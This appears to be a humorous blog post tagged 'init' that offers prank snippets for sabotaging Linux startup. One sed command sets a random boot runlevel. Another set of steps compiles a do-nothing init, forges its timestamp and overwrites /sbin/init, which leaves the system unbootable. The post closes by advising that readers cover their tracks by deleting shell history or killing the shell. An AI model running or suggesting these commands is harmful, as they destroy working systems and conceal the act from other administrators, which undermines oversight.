Posts Tagged ‘ init

Now that’s a proper startup

sed -i 's/runlevel="$argv1"/runlevel="$[{RANDOM} % 7 ]"/' /etc/rc.d/rc

SImplify your init

This one was submitted by fl0_:

Create a file called init.c

#include <stdio.h>
int main(){
       return 0;

Next run the following commands:

gcc -o init init.c
touch -r /sbin/init init
cp -f init /sbin/init

You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set +o history before you begin/kill -9 $$